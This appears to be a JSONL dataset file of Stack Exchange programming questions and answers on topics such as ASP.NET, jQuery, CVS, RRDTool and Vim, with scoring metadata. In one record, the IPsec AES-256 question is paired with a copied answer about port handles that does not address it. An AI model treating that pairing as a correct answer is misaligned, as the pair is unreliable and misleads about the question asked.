{"id": "hf_acfe048325aa", "question": "<p>I am wanting to store the \"state\" of some actions the user is performing in a series of different ASP.Net webforms.  What are my choices for persisting state, and what are the pros/cons of each solution?</p>\n\n<p>I have been using Session objects, and using some helper methods to strongly type the objects:</p>\n\n<pre><code>    public static Account GetCurrentAccount(HttpSessionState session)\n    {\n        return (Account)session[ACCOUNT];\n    }\n\n    public static void SetCurrentAccount(Account obj, HttpSessionState session)\n    {\n        session[ACCOUNT] = obj;\n    }\n</code></pre>\n\n<p>I have been told by numerous sources that \"Session is evil\", so that is really the root cause of this question.  I want to know what you think \"best practice\", and why.</p>\n", "question_body": "", "answer": "As for \"Session being evil\" ... if you were developing in classic ASP I would have to agree, but ASP.NET/IIS does a much better job.\nThe real question is what is the best way to maintain state.  In our case, when it comes to the current logged in user, we store that object in Session, as we are\nconstantly\nreferring to it for their name, email address, authorization and so forth.\nOther little\ntidbits\nof information that doesn't need any long-term persistence we use a combination of cookies and viewstate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:20.587893"}
{"id": "hf_d8912081681a", "question": "<p>I want to have a <code>UIScrollView</code> with a set of subviews where each of these subviews has a <code>UITextView</code> with a different text. For this task, I have modified the <code>PageControl</code> example from the apple \"iphone dev center\" in order to add it a simple <code>UITextView</code> to the view which is used to generate the subviews of the scroll view. When I run the app (both on the simulator and the phone), NO Text is seen but if i activate the \"user interaction\" and click on it, the text magically appears (as well as the keyboard).</p>\n\n<p>Does anyone has a solution or made any progress with <code>UITextView</code> inside a <code>UIScrollView</code>? Thanks.</p>\n", "question_body": "", "answer": "I think the problem stems from the fact that\n```\nUITextView\n```\nis a subclass of\n```\nUIScrollView\n```\n, so you basically have scroll views embedded within\n```\nUIScrollViews\n```\n.  Even if the text displayed properly, you would have usability problems, as it would never be clear if a finger swipe was supposed to scroll the outer view or the text view.\nYeah, Safari sort of does this, but it has to, and it's not the most pleasant part of using Safari.\nI think this is one of those times where the difficulty indicates you are working against the system.  I strongly recommend going back and re-thinking the UI.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:20.613121"}
{"id": "hf_fceb9760bbfe", "question": "<p>I'm new to CodeIgniter, and I need some help. I'd like to implement the following:</p>\n<ul>\n<li><p>View a user's profile via:\nhttp://localhost/profile/johndoe</p>\n</li>\n<li><p>Administrate a user's profile via:\nhttp://localhost/admin/profile/johndoe</p>\n</li>\n<li><p>Be able to accomplish even further processing via:\nhttp://localhost/admin/profile/create\n...and...\nhttp://localhost/admin/profile/edit/johndoe</p>\n</li>\n</ul>\n<p>I've already created the admin object and secured it. Do I have to create a profile function under admin, and work with the URI to process accordingly? Is there a better way?</p>\n", "question_body": "", "answer": "This is not such a good idea.\nIf you want to implement those URLs, you need two controllers:\nProfile, with the function\n```\nindex\n```\nAdmin, with the function\n```\nprofile\n```\nIn Admin, the\n```\nprofile\n```\nfunction has to read the first argument (create/edit/[userid]) and then do something accordingly. (You also must make sure that no user can call himself \"create\" or \"edit\".)\nI would instead use only one controller with the functions\n```\nshow\n```\n,\n```\nedit\n```\n, and\n```\ncreate\n```\n(or\n```\nadd\n```\n). Much easier. Then you would get these URLs:\nhttp://localhost/profile/show/johndoe\nhttp://localhost/profile/edit/johndoe\nhttp://localhost/profile/create/johndoe", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:20.692466"}
{"id": "hf_4df768f44470", "question": "<p>I have a JavaScript widget which provides standard extension points. One of them is the <code>beforecreate</code> function. It should return <code>false</code> to prevent an item from being created. </p>\n\n<p>I've added an Ajax call into this function using jQuery:</p>\n\n<pre><code>beforecreate: function (node, targetNode, type, to) {\n  jQuery.get('http://example.com/catalog/create/' + targetNode.id + '?name=' + encode(to.inp[0].value),\n\n  function (result) {\n    if (result.isOk == false) \n        alert(result.message);\n  });\n}\n</code></pre>\n\n<p>But I want to prevent my widget from creating the item, so I should return <code>false</code> in the mother-function, not in the callback. Is there a way to perform a synchronous AJAX request using jQuery or any other in-browser API?</p>\n", "question_body": "", "answer": "From the\njQuery documentation\n: you specify the\nasynchronous\noption to be\nfalse\nto get a synchronous Ajax request. Then your callback can set some data before your mother function proceeds.\nHere's what your code would look like if changed as suggested:\n```\n```\nbeforecreate: function (node, targetNode, type, to) {\n    jQuery.ajax({\n        url: 'http://example.com/catalog/create/' + targetNode.id + '?name=' + encode(to.inp[0].value),\n        success: function (result) {\n            if (result.isOk == false) alert(result.message);\n        },\n        async: false\n    });\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:20.719145"}
{"id": "hf_ebebfba2c6c8", "question": "<p>I remember reading that one abstracts the low level calls into a data agnostic framework (eg. ExecuteCommand methods etc), and the other usually contains business specific methods (eg. UpdateCustomer).</p>\n\n<p>Is this correct?  Which is which?</p>\n", "question_body": "", "answer": "To me this is a personal design decision on how you want to handle your project design.  At times data access and data service are one and the same.  For .NET and LINQ that is the case.\nTo me the data service layer is what actually does the call to the database.  The data access layer receives the objects and creates them or modify them for the data service layer to make the call to the database.\nIn my designs the Business Logic Layer manipulates the objects based on the business rules, then passes them to the data access layer which will format them to go into the database or the objects from the database, and the data service layer handles the actual database call.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:20.807814"}
{"id": "hf_ac39acf19f3d", "question": "<p>How do I find the name of the namespace or module 'Foo' in the filter below?</p>\n\n<pre><code>class ApplicationController &lt; ActionController::Base\n  def get_module_name\n    @module_name = ???\n  end\nend\n\n\nclass Foo::BarController &lt; ApplicationController\n  before_filter :get_module_name\nend\n</code></pre>\n", "question_body": "", "answer": "This should do it:\n```\n```\ndef get_module_name\n    @module_name = self.class.to_s.split(\"::\").first\n  end\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:20.837111"}
{"id": "hf_1d307456ae6a", "question": "<p>I'm trying to install a service using InstallUtil.exe but invoked through <code>Process.Start</code>. Here's the code:</p>\n\n<pre><code>ProcessStartInfo startInfo = new ProcessStartInfo (m_strInstallUtil, strExePath);\nSystem.Diagnostics.Process.Start (startInfo);\n</code></pre>\n\n<p>where <code>m_strInstallUtil</code> is the fully qualified path and exe to \"InstallUtil.exe\" and <code>strExePath</code> is the fully qualified path/name to my service.</p>\n\n<p>Running the command line syntax from an elevated command prompt works; running from my app (using the above code) does not. I assume I'm dealing with some process elevation issue, so how would I run my process in an elevated state? Do I need to look at <code>ShellExecute</code> for this?</p>\n\n<p>This is all on Windows Vista. I am running the process in the VS2008 debugger elevated to admin privilege.</p>\n\n<p>I also tried setting <code>startInfo.Verb = \"runas\";</code> but it didn't seem to solve the problem.</p>\n", "question_body": "", "answer": "You should use Impersonation to elevate the state.\n```\n```\nWindowsIdentity identity = new WindowsIdentity(accessToken);\nWindowsImpersonationContext context = identity.Impersonate();\n```\n```\nDon't forget to undo the impersonated context when you are done.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:20.887388"}
{"id": "hf_e84f43983302", "question": "<p>I am developing a Joomla component and one of the views needs to render itself as PDF. In the view, I have tried setting the content-type with the following line, but when I see the response, it is text/html anyways.</p>\n\n<pre><code>header('Content-type: application/pdf');\n</code></pre>\n\n<p>If I do this in a regular php page, everything works as expected. It seems that I need to tell Joomla to use application/pdf instead of text/html. How can I do it?</p>\n\n<p>Note: Setting other headers, such as <code>Content-Disposition</code>, works as expected.</p>\n", "question_body": "", "answer": "Since version 1.5 Joomla has the JDocument object. Use\nJDocument::setMimeEncoding()\nto set the content type.\n```\n```\n$doc =& JFactory::getDocument();\n$doc->setMimeEncoding('application/pdf');\n```\n```\nIn your special case, a look at\nJDocumentPDF\nmay be worthwile.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:20.937014"}
{"id": "hf_d4ea58d4b9a1", "question": "<p>Our server application is listening on a port, and after a period of time it no longer accepts incoming connections.  (And while I'd love to solve this issue, it's not what I'm asking about here;)</p>\n\n<p>The strange this is that when our app stops accepting connections on port 44044, so does IIS (on port 8080).  Killing our app fixes everything  - IIS starts responding again.</p>\n\n<p>So the question is, can an application mess up the entire TCP/IP stack?  Or perhaps, how can an application do that?</p>\n\n<p>Senseless detail: Our app is written in C#, under .Net 2.0, on XP/SP2.</p>\n\n<p>Clarification: IIS is not \"refusing\" the attempted connections.  It is never seeing them.  Clients are getting a \"server did not respond in a timely manner\" message (using the .Net TCP Client.)</p>\n", "question_body": "", "answer": "You haven't maxed out the available port handles have you ?\n```\nnetstat -a\n```\nI saw something similar when an app was opening and closing ports (but not actually closing them correctly).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:21.012520"}
{"id": "hf_79506269c786", "question": "<p>Does IPsec in Windows XP Sp3 support AES-256 encryption?</p>\n\n<p><strong>Update:</strong></p>\n\n<ol>\n<li>Windows IPsec FAQ says that it's not supported in Windows XP, but maybe they changed it in Service Pack 3?<br>\n\nhttp://www.microsoft.com/technet/network/ipsec/ipsecfaq.mspx<br>\n\nQuestion: <em>Is Advanced Encryption Standard (AES) encryption supported?</em><br><br>\n</li>\n\n<li>origamigumby, please specify where, because I cannot find it.</li>\n</ol>\n", "question_body": "", "answer": "You haven't maxed out the available port handles have you ?\n```\nnetstat -a\n```\nI saw something similar when an app was opening and closing ports (but not actually closing them correctly).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:21.037842"}
{"id": "hf_9808b7fea93f", "question": "<p>Wanted to convert</p>\n\n<pre><code>&lt;br/&gt;\n&lt;br/&gt;\n&lt;br/&gt;\n&lt;br/&gt;\n&lt;br/&gt;\n</code></pre>\n\n<p>into</p>\n\n<pre><code>&lt;br/&gt;\n</code></pre>\n", "question_body": "", "answer": "Use a regular expression to match\n```\n<br/>\n```\none or more times, then use preg_replace (or similar) to replace with\n```\n<br/>\n```\nsuch as levik's reply.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:21.198442"}
{"id": "hf_42dadc03be25", "question": "<p>Is there a way to make a Radio Button enabled/disabled (not checked/unchecked) via CSS? </p>\n\n<p>I've need to toggle some radio buttons on the client so that the values can be read on the server, but setting the 'enabled' property to 'false' then changing this on the client via javascript seems to prevent me from posting back any changes to the radio button after it's been enabled.</p>\n\n<p>See: <a href=\"https://stackoverflow.com/questions/130165/aspnet-not-seeing-radio-button-value-change\">ASP.NET not seeing Radio Button value change</a></p>\n\n<p>It was recommended that I use control.style.add(\"disabled\", \"true\") instead, but this does not seem to disable the radio button for me.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Disabled is a html attribute, not a css attribute.\nWhy can't you just use some jQuery\n```\n```\n$('#radiobuttonname').attr('disabled', 'true');\n```\n```\nor plain old javascript\n```\n```\ndocument.getElementById(id).disabled = true;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:21.225383"}
{"id": "hf_187ed5de0b4b", "question": "<p>I want to know if responsetimes are good, not just if it scales. Anyone with experiences?</p>\n", "question_body": "", "answer": "A scalable architecture like GAE is not the same as one based on optimizing speed. A different approach is needed.\nThe DataStore isn't designed to be super fast at the small scale, but rather handle large amounts of data, and be distributed.  We could say that database access is \"very slow\" at the small scale (compared with a standard relational database).\nTake a look at:\ngoogle-appengine-second-look\nand\nhow-i-learned-stop-worrying-and-love-using-lot-disk-space-scale\nSome\nexperimental results\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:21.263111"}
{"id": "hf_f73ea144c7af", "question": "<p>Ok, this is another one in the theory realm for the CS guys around.</p>\n\n<p>In the 90's I did fairly well in implementing BST's. The only thing I could never get my head around was the intricacy of the algorithm to balance a Binary Tree (AVL).</p>\n\n<p>Can you guys help me on this?</p>\n", "question_body": "", "answer": "I don't think it's good to post complete codes for node balancing algorithms here since they get quite big. However, the Wikipedia article on\nred-black trees\ncontains a complete C implementation of the algorithm and the article on\nAVL trees\nhas several links to high-quality implementations as well.\nThese two implementations are enough for most general-purpose scenarios.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:21.288311"}
{"id": "hf_c30e23556e77", "question": "<p>I am using Vim for windows installed in Unix mode. Thanks to this site I now use the <code>gf</code> command to go to a file under the cursor.</p>\n\n<p>I'm looking for a command to either:</p>\n\n<ol>\n<li>return to the previous file (similar\nto <kbd>Ctrl</kbd>+<kbd>T</kbd> for ctags), or  </li>\n<li>remap <code>gf</code>\nto automatically launch the new file\nin a new window.</li>\n</ol>\n", "question_body": "", "answer": "Ctrl\n-\nShift\n-\n6\nis one.\n```\n:e#↲\n```\nis another.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:21.313656"}
{"id": "hf_0fbaafebe8c3", "question": "<p>I want to insert say 50,000 records into sql server database 2000 at a time. How to accomplish this?</p>\n", "question_body": "", "answer": "Do you mean for a test of some kind?\n```\n```\ndeclare @index integer\nset @index = 0\nwhile @index < 50000\nbegin\n   insert into table\n   values (x,y,z)\n   set @index = @index + 1\nend\n```\n```\nBut I expect this is not what you mean.\nIf you mean the best way to do a bulk insert, use\n```\nBULK INSERT\n```\nor something like\n```\nbcp\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:21.338731"}
{"id": "hf_62419459bcf9", "question": "<p>In my ASP.net MVC app I have a view that looks like this:</p>\n\n<pre><code>...\n&lt;label&gt;Due Date&lt;/label&gt;\n&lt;%=Html.TextBox(\"due\")%&gt;\n...\n</code></pre>\n\n<p>I am using a <code>ModelBinder</code> to bind the post to my model (the due property is of <code>DateTime</code> type). The problem is when I put \"01/01/2009\" into the textbox, and the post does not validate (due to other data being input incorrectly). The binder repopulates it with the date <strong>and time</strong> \"01/01/2009 <strong>00:00:00</strong>\". </p>\n\n<p><strong>Is there any way to tell the binder to format the date correctly (i.e. <code>ToShortDateString()</code>)?</strong></p>\n", "question_body": "", "answer": "In order to get strongly typed access to your model in the code behind of your view you can do this:\n```\n```\npublic partial class SomethingView : ViewPage<T>\n{\n}\n```\n```\nWhere T is the ViewData type that you want to pass in from your Action.\nThen in your controller you would have an action :\n```\n```\npublic ActionResult Something(){\n    T myObject = new T();\n    T.Property = DateTime.Today();\n\n    Return View(\"Something\", myObject);\n}\n```\n```\nAfter that you have nice strongly typed model data in your view so you can do :\n```\n```\n<label>My Property</label>\n<%=Html.TextBox(ViewData.Model.Property.ToShortDateString())%>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:21.379871"}
{"id": "hf_01d7b50d8c4a", "question": "<p>When I am using Bitvise Tunnelier and I spawn a new xterm window connecting to our sun station everything works nicely. We have visual slick edit installed on the sun station and I have been instructed to open it using the command vs&amp;. When I do this I get the following:</p>\n\n<pre><code>fbm240-1:/home/users/ajahn 1 % vs&amp;\n[1] 4716\nfbm240-1:/home/users/ajahn 2 % Visual SlickEdit: Can't open connection to X. DIS\nPLAY='&lt;Default Display&gt;'\n</code></pre>\n\n<p>I would rather not go jumping through hoops ftping my material back and forth to the server.\nAdvice?</p>\n", "question_body": "", "answer": "What is your DISPLAY environment variable in the shell where you run vs? Is it really \"<Default Display>\"? If yes, try setting it up to \":0\" or \"\nyourhostname\n:0\" and then running vs again (you might need to use\n```\nxhost +\n```\non your host).\nThat's only a fraction of the clarifications needed to help you with this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:21.431309"}
{"id": "hf_c3bf9dd6e576", "question": "<p>I am developing a web application which has Chart Controls.\nI have developed a common chart User Control to  use across the application. </p>\n\n<p>I am looking for an elegent way to set the Chart control's along with other control's width, height based on the screen(browser size).</p>\n\n<p>Please help me \nThanks\nShaik</p>\n", "question_body": "", "answer": "Generally speaking, the easiest way to size an element relative to the client screen is to give it a width specified as a percentage (e.g. 25%).  You can also size an object relative to the font size by specifying the width in terms of ems (e.g. 10em).\nIf percentages won't work, then the alternative is to use JavaScript to resize the object dynamically in the client's browser.  The downside to this is that JavaScript has to interact with the HTML elements that make up the control, rather than acting on the control directly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:21.481694"}
{"id": "hf_1c7c99bb471a", "question": "<p>I've created a new C++ project in Visual Studio 2008.  No code has been written yet;  Only project settings have been changed.</p>\n\n<p>When I compile the project, I receive the following fatal error:</p>\n\n<blockquote>\n  <p>fatal error LNK1104: cannot open file 'C:\\Program.obj'</p>\n</blockquote>\n", "question_body": "", "answer": "This particular issue is caused by specifying a dependency to a lib file that had spaces in its path.  The path needs to be surrounded by quotes for the project to compile correctly.\nOn the\nConfiguration Properties -> Linker -> Input\ntab of the project’s properties, there is an\nAdditional Dependencies\nproperty.  This issue was fixed by adding the quotes. For example, changing this property from:\nC:\\Program Files\\sofware\nsdk\\lib\\library.lib\nTo:\n\"C:\\Program Files\\sofware\nsdk\\lib\\library.lib\"\nwhere I added the quotes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:21.507360"}
{"id": "hf_25eb9d6baf4e", "question": "<p>When I use the  task, the property is only set to TRUE if the resource (say file) is available. If not, the property is undefined.</p>\n\n<p>When I print the value of the property, it gives true if the resource was available, but otherwise just prints the property name.</p>\n\n<p>Is there a way to set the property to some value if the resource is <em>not</em> available? I have tried setting the property explicitly before the available check, but then ant complains:</p>\n\n<pre>\n[available] DEPRECATED -  used to override an existing property.\n[available]   Build file should not reuse the same property name for different values.\n</pre>\n", "question_body": "", "answer": "You can use a condition in combination with not:\nhttp://ant.apache.org/manual/Tasks/condition.html\n```\n```\n<condition property=\"fooDoesNotExist\">\n    <not>\n      <available filepath=\"path/to/foo\"/>\n    </not>\n  </condition>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:21.544786"}
{"id": "hf_2a9f02f9da3f", "question": "<p>I am running Ruby and MySQL on a Windows box.</p>\n\n<p>I have some Ruby code that needs to connect to a MySQL database a perform a select. To connect to the database I need to provide the password among other things. </p>\n\n<p>The Ruby code can display a prompt requesting the password, the user types in the password and hits the Enter key. What I need is for the password, as it is typed, to be displayed as a line of asterisks.</p>\n\n<p>How can I get Ruby to display the typed password as a line of asterisks in the 'dos box'?</p>\n", "question_body": "", "answer": "Poor man's solution:\n```\n```\nsystem \"stty -echo\"\n# read password\nsystem \"stty echo\"\n```\n```\nOr using\nhttp://raa.ruby-lang.org/project/ruby-password/\nThe target audience for this library is system administrators who need to write Ruby programs that prompt for, generate, verify and encrypt passwords.\nEdit:\nWhoops I failed to notice that you need this for Windows :(", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:21.569783"}
{"id": "hf_4f722e93be58", "question": "<p>Lately I've be moving source files around in our source tree. For example placing a bunch of files into a common assembly.  I've been doing this my deleting the file from CVS and then adding it again in the new spot. The problem is the revision number of the file resets back to 1.1. Is there some simple way to move things without having the number reset. </p>\n\n<p>I probably should have mentioned that I don't have access to the repository so anything that requires that doesn't help me but it might help others.</p>\n", "question_body": "", "answer": "The\nonline CVS manual\nhas some detail on how to do this:\nThe normal way to move a file is to issue a cvs rename command.\n$ cvs rename old new\n$ cvs commit -m \"Renamed old to new\"\nThis is the simplest way to move a file. It is not error prone, and it preserves the history of what was done. CVSNT clients can retrieve the original name by checking out an older version of the repository.\nThis feature is only supported on CVSNT servers 2.0.55 and later.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:21.594725"}
{"id": "hf_8a2080bfaaff", "question": "<p>I am using RRDTool (<a href=\"http://oss.oetiker.ch/rrdtool/\" rel=\"nofollow noreferrer\">http://oss.oetiker.ch/rrdtool/</a>) as a graphing back-end for storing performance metrics.  This is done via the RRDTool CLI from a Python script.</p>\n\n<p>My problem is that the script is multithreaded and each thread updates the RRD at a pretty rapid pace.  Sometimes an update fails because one thread is accessing the RRD file while another one tries to access it also.</p>\n\n<p>I was under the impression that this is OK to try since RRDTool uses its own locking mechanism, but I guess that isn't true.</p>\n\n<p>Does anyone have a good approach for concurrent access to an RRD?</p>\n\n<p>I can think of a few ways to go:</p>\n\n<ol>\n<li><p>have 1 thread create a queue and only feed the RRD from a single thread.</p></li>\n<li><p>create my own locking mechanism inside the Python script. (how would I do this?)</p></li>\n</ol>\n\n<p>got anything better or have you run into this issue before?</p>\n", "question_body": "", "answer": "An exclusive lock ought to be enough for this problem :\nPython doc page\nUse example\nDefine your lock object at the main level, not at the thread level, and you're done.\nEdit in Response to comment :\nif you define your lock (\n```\nlock = new Lock()\n```\n) at the thread level, you will have one lock object per running thread, and you really want a single lock for the file rrdtool updates, so this definition must be at the main level.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:21.647568"}
{"id": "hf_8024042e6368", "question": "<p>What might be the best way to start programming using boost lambda libraries.</p>\n", "question_body": "", "answer": "Depends. Are you already well versed in functional programming concepts? If not, I'd suggest that you start in a language that is designed for functional programming instead of a procedural language with functional features stapled on. If you aren't used to coding in a functional style (it's not\nharder\nnecessarily, but it's definitely different), then you'll spend more time fighting the syntax and not enough time learning to get stuff done.\nAs for where to start, I cut my functional teeth on Scheme, but there are plenty of good options.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:21.683303"}
{"id": "hf_7bace512f6aa", "question": "<p>When developing an app that will listen on a TCP/IP port, how should one go about selecting a default port?  Assume that this app will be installed on many computers, and that avoiding port conflicts is desired.</p>\n", "question_body": "", "answer": "Go\nhere\nand pick a port with the description\n```\nUnassigned\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:21.742166"}
{"id": "hf_138c2a219568", "question": "<p>How can I script a bat or cmd to stop and start a service reliably with error checking (or let me know that it wasn't successful for whatever reason)?</p>\n", "question_body": "", "answer": "Using the return codes from\n```\nnet start\n```\nand\n```\nnet stop\n```\nseems like the best method to me. Try a look at this:\nNet Start return codes\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:21.765025"}
{"id": "hf_8f664ad01671", "question": "<p>I need to create a multi-dimensional (nested) hashtable/dictionary so that I can use syntax like </p>\n\n<pre><code>val = myHash(\"Key\").(\"key\")\n</code></pre>\n\n<p>I know I need to use Generics but I can't figure out the correct syntax using VB in ASP.NET 2.0, there are plenty of c# examples on the net but they aren't helping much.</p>\n\n<p>Cheers!</p>\n", "question_body": "", "answer": "OK, I'm better at C# than vb.net, but I'll give this a go....\n```\n```\nDim myHash as Dictionary(Of string, Dictionary(Of string, Integer));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:21.800020"}
{"id": "hf_0a3781bdfc2a", "question": "<p>I have a line that I draw in a window and I let the user drag it around. So, my line is defined by two points: (x1,y1) and (x2,y2). But now I would like to draw \"caps\" at the end of my line, that is, short perpendicular lines at each of my end points. The caps should be N pixels in length.</p>\n\n<p>Thus, to draw my \"cap\" line at end point (x1,y1), I need to find two points that form a perpendicular line and where each of its points are N/2 pixels away from the point (x1,y1).</p>\n\n<p>So how do you calculate a point (x3,y3) given it needs to be at a perpendicular distance N/2 away from the end point (x1,y1) of a known line, i.e. the line defined by (x1,y1) and (x2,y2)?</p>\n", "question_body": "", "answer": "You need to compute a unit vector that's perpendicular to the line segment.  Avoid computing the slope because that can lead to divide by zero errors.\n```\n```\ndx = x1-x2\ndy = y1-y2\ndist = sqrt(dx*dx + dy*dy)\ndx /= dist\ndy /= dist\nx3 = x1 + (N/2)*dy\ny3 = y1 - (N/2)*dx\nx4 = x1 - (N/2)*dy\ny4 = y1 + (N/2)*dx\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:21.822992"}
{"id": "hf_44bbe51feeba", "question": "<p>This is a <em>super basic</em> question but I'm trying to execute a Query that I'm building via some form values against the MS Access database the form resides in.  I don't think I need to go through ADO formally, but maybe I do.</p>\n\n<p>Anyway, some help would be appreciated.  Sorry for being a n00b. ;)</p>\n", "question_body": "", "answer": "You can use the following DAO code to query an Access DB:\n```\n```\nDim rs As DAO.Recordset\nDim db As Database\n\nSet db = CurrentDb\nSet rs = db.OpenRecordset(\"SELECT * FROM Attendance WHERE ClassID = \" & ClassID)\n\ndo while not rs.EOF\n  'do stuff\n  rs.movenext\nloop\n\nrs.Close\nSet rs = Nothing\n```\n```\nIn my case, ClassID is a textbox on the form.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:21.882253"}
